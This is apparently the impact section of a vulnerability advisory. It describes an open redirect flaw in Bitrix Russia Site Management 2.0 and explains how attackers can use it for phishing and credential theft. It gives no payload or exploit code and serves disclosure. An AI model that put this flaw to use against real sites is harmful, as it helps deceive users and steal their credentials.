# Impact :
*********
This web application Bitrix Russia Site Management 2.0 accepts a user-controlled
input that specifies a link to an external site, and uses that link in a Redirect.
This simplifies phishing attacks. An http parameter may contain a URL value and could cause
the web application to redirect the request to the specified URL. By modifying the URL value
to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
Because the server name in the modified link is identical to the original site, phishing attempts
have a more trustworthy appearance.
Open redirect is a failure in that process that makes it possible for attackers to
steer users to malicious websites. This vulnerability is used in phishing attacks to get users
to visit malicious sites without realizing it. Web users often encounter redirection when they
visit the Web site of a company whose name has been changed or which has been acquired
by another company. Visiting unreal web page user's computer becomes affected by malware
the task of which is to deceive the valid actor and steal his personal data.
